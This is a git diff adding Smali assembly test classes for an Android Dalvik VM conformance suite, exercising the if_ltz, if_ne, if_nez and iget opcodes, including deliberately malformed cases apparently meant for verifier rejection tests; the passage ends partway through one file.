diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.smali
new file mode 100644
index 0000000..24a57cf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_9.smali

@@ -0,0 +1,24 @@
+.source "T_if_ltz_9.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-ltz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.smali
new file mode 100644
index 0000000..37f1c8f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_1.smali

@@ -0,0 +1,23 @@
+.source "T_if_ne_1.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ne v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.smali
new file mode 100644
index 0000000..12faad4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_10.smali

@@ -0,0 +1,23 @@
+.source "T_if_ne_10.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ne v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.smali
new file mode 100644
index 0000000..1b76d5b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_11.smali

@@ -0,0 +1,24 @@
+.source "T_if_ne_11.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ne v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.smali
new file mode 100644
index 0000000..16f28c5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_12.smali

@@ -0,0 +1,23 @@
+.source "T_if_ne_12.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-ne v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.smali
new file mode 100644
index 0000000..89bf9fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_2.smali

@@ -0,0 +1,23 @@
+.source "T_if_ne_2.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;Ljava/lang/String;)I
+.registers 8
+
+       if-ne v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.smali
new file mode 100644
index 0000000..c81a1a2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_4.smali

@@ -0,0 +1,23 @@
+.source "T_if_ne_4.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-ne v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.smali
new file mode 100644
index 0000000..5ee4463
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_5.smali

@@ -0,0 +1,23 @@
+.source "T_if_ne_5.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ne v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.smali
new file mode 100644
index 0000000..869dc5f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_7.smali

@@ -0,0 +1,23 @@
+.source "T_if_ne_7.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-ne v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.smali
new file mode 100644
index 0000000..afecd19
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_8.smali

@@ -0,0 +1,23 @@
+.source "T_if_ne_8.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-ne v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.smali
new file mode 100644
index 0000000..a6ff1e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ne/d/T_if_ne_9.smali

@@ -0,0 +1,23 @@
+.source "T_if_ne_9.java"
+.class  public Ldot/junit/opcodes/if_ne/d/T_if_ne_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-ne v6, v5, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.smali
new file mode 100644
index 0000000..806e390
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_1.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_1.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.smali
new file mode 100644
index 0000000..256450a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_10.smali

@@ -0,0 +1,24 @@
+.source "T_if_nez_10.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-nez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.smali
new file mode 100644
index 0000000..5202bd7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_11.smali

@@ -0,0 +1,23 @@
+.source "T_if_nez_11.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-nez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.smali
new file mode 100644
index 0000000..230d6e5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_2.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_2.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.smali
new file mode 100644
index 0000000..a15feab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_3.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_3.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.smali
new file mode 100644
index 0000000..7ed26fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_4.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_4.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;)I
+.registers 6
+
+       if-nez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.smali
new file mode 100644
index 0000000..b2a879a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_5.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_5.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-nez v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.smali
new file mode 100644
index 0000000..c3d6883
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_6.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_6.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-nez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.smali
new file mode 100644
index 0000000..e66dd47
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_7.smali

@@ -0,0 +1,23 @@
+.source "T_ifne_7.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-nez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.smali
new file mode 100644
index 0000000..a9e3ab4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_nez/d/T_if_nez_9.smali

@@ -0,0 +1,23 @@
+.source "T_if_nez_9.java"
+.class  public Ldot/junit/opcodes/if_nez/d/T_if_nez_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-nez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.smali
new file mode 100644
index 0000000..7bc6c1c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_1.smali

@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_1.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+.field protected  p1:I
+.field private  pvt1:I
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const/4 v0, 5
+       iput v0, v1, Ldot/junit/opcodes/iget/d/T_iget_1;->i1:I
+
+       const/16 v0, 10
+       iput v0, v1, Ldot/junit/opcodes/iget/d/T_iget_1;->p1:I
+
+       const/16 v0, 20
+       iput v0, v1, Ldot/junit/opcodes/iget/d/T_iget_1;->pvt1:I
+       
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_1;->i1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.smali
new file mode 100644
index 0000000..c851b27
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_11.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_11.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_11;
+.super  Ldot/junit/opcodes/iget/d/T_iget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/d/T_iget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_1;->p1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.smali
new file mode 100644
index 0000000..3c63a13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_12.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_12.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_12;
+.super  Ldot/junit/opcodes/iget/d/T_iget_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/d/T_iget_1;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_1;->pvt1:I
+       return v1
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.smali
new file mode 100644
index 0000000..6cc0c35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_13.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_13.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_13;->i1:I
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.smali
new file mode 100644
index 0000000..6252193
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_15.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_15.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_15;->i1:S
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.smali
new file mode 100644
index 0000000..e18c26c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_16.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_16.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_16;->i1:Z
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.smali
new file mode 100644
index 0000000..fcccdc2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_17.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_17;->i1:C
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.smali
new file mode 100644
index 0000000..7e43894
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_18.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_18;->i1:B
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.smali
new file mode 100644
index 0000000..02773f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_19.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_19;->i1:D
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.smali
new file mode 100644
index 0000000..0d3af8d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_20.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
